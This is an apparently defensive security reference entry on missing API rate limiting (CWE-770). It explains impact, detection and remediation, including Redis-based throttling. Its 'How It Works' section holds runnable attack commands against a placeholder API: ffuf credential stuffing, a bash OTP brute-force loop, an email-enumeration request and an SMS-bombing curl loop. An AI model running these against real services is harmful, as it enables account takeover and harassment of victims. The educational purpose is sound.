Description
Rate limiting controls how many requests a client can make to an API within a given time window. Without this control, endpoints that perform authentication, send notifications, process payments, or expose enumerable data are subject to automated abuse at a scale that is simply not possible with a human interacting through a UI. The absence of rate limiting is categorized as A04:2021 Insecure Design because it represents a missing architectural safeguard—a class of attacks that cannot be mitigated by fixing a specific code bug.
CWE-770 (Allocation of Resources Without Limits or Throttling) describes the root cause: the server allocates resources in response to each request without bounding how many times a single client can trigger that allocation. The relevant endpoints span multiple categories: authentication endpoints (brute force), password reset endpoints (token enumeration), OTP verification endpoints (code brute force), SMS/email notification endpoints (bombing), resource enumeration endpoints (IDOR enumeration), and payment processing endpoints (carding attacks).
Rate limiting is especially critical for mobile application APIs, which are often designed without the assumption of a browser, where CAPTCHA provides a secondary friction layer. An API that backs a mobile app is reachable via curl with no UI friction, making automated attacks straightforward.
How It Works
An attacker discovers an authentication endpoint and runs a credential stuffing or password spray attack:
# Credential stuffing with ffuf — 10,000 credential pairs
ffuf -w credentials.txt:CRED \
-u https://api.example.com/v1/auth/login \
-X POST \
-H "Content-Type: application/json" \
-d '{"email":"USEREMAIL","password":"USERPASS"}' \
-t 50 \
-mc 200
# OTP brute force — 6-digit codes, 1,000,000 possibilities
for i in $(seq -w 000000 999999); do
curl -s -X POST https://api.example.com/v1/auth/verify-otp \
-H "Content-Type: application/json" \
-d "{\"otp\": \"$i\", \"token\": \"<reset_token>\"}" | grep -q "success" && echo "OTP: $i"
done
A password reset endpoint without rate limiting allows enumeration of registered email addresses:
POST /api/v1/auth/reset-password HTTP/1.1
Host: api.example.com
Content-Type: application/json
{"email": "alice@example.com"}
HTTP/1.1 200 OK — "Reset email sent" <- registered
HTTP/1.1 404 Not Found — "User not found" <- not registered
With no rate limiting, an attacker iterates through a list of email addresses to build a map of registered users in seconds.
For SMS notification endpoints, rate limiting absence enables SMS bombing:
# 1000 SMS messages sent to a victim in seconds
for i in $(seq 1 1000); do
curl -s -X POST https://api.example.com/v1/auth/send-sms \
-d '{"phone":"+15558675309"}' &
done
Impact
- Account takeover via brute force — Unthrottled login endpoints allow credential stuffing against breached password lists at high speed.
- OTP bypass — 6-digit OTP codes have only 1,000,000 possibilities—without lockout or rate limiting, they are brute-forceable in minutes.
- User enumeration — Differential response timing or messages on reset/registration endpoints reveal which accounts exist.
- Data scraping — Resource listing endpoints are scraped in bulk to harvest user data, pricing information, or proprietary content.
- Financial fraud — Payment card testing (carding) uses high-speed API calls to validate stolen card numbers against a checkout endpoint.
- Service degradation — Unthrottled requests consume server resources, degrading performance for legitimate users.
Detection
- Send a high volume of requests (100-1000) to authentication, password reset, OTP verification, and other sensitive endpoints and observe whether requests are throttled or blocked after a threshold.
- Test from multiple source IP addresses to determine whether rate limiting is IP-based only, or whether it also applies per-account (the stronger control).
- Measure response times for enumeration opportunities: test whether account existence is leaked through timing differences or differential error messages on registration and password reset endpoints.
- Use
ffufor Burp Suite Intruder to run a parallel brute-force against OTP and PIN verification endpoints with a wordlist of all possible values. - Check API documentation or response headers for rate limit information (
X-RateLimit-Limit,X-RateLimit-Remaining,Retry-After) to understand declared limits and verify they are actually enforced.
Remediation
Implement per-account and per-IP rate limiting. Use a token bucket or sliding window algorithm stored in Redis to enforce limits across all server instances:
# Redis-backed rate limiting (Python, using redis-py)
def check_rate_limit(identifier: str, max_requests: int, window_seconds: int):
key = f"ratelimit:{identifier}"
count = redis.incr(key)
if count == 1:
redis.expire(key, window_seconds)
return count <= max_requests
Apply progressive delays and lockouts. Introduce exponential backoff after failed authentication attempts: 1s, 2s, 4s, 8s delays, with account lockout after 10 failures.
Implement CAPTCHA on high-value endpoints. Add CAPTCHA challenges to authentication and password reset flows to defeat automated attacks that originate from single IPs.
Return consistent responses. Use uniform response messages and add artificial delays to eliminate enumeration through timing side-channels or differential error messages.
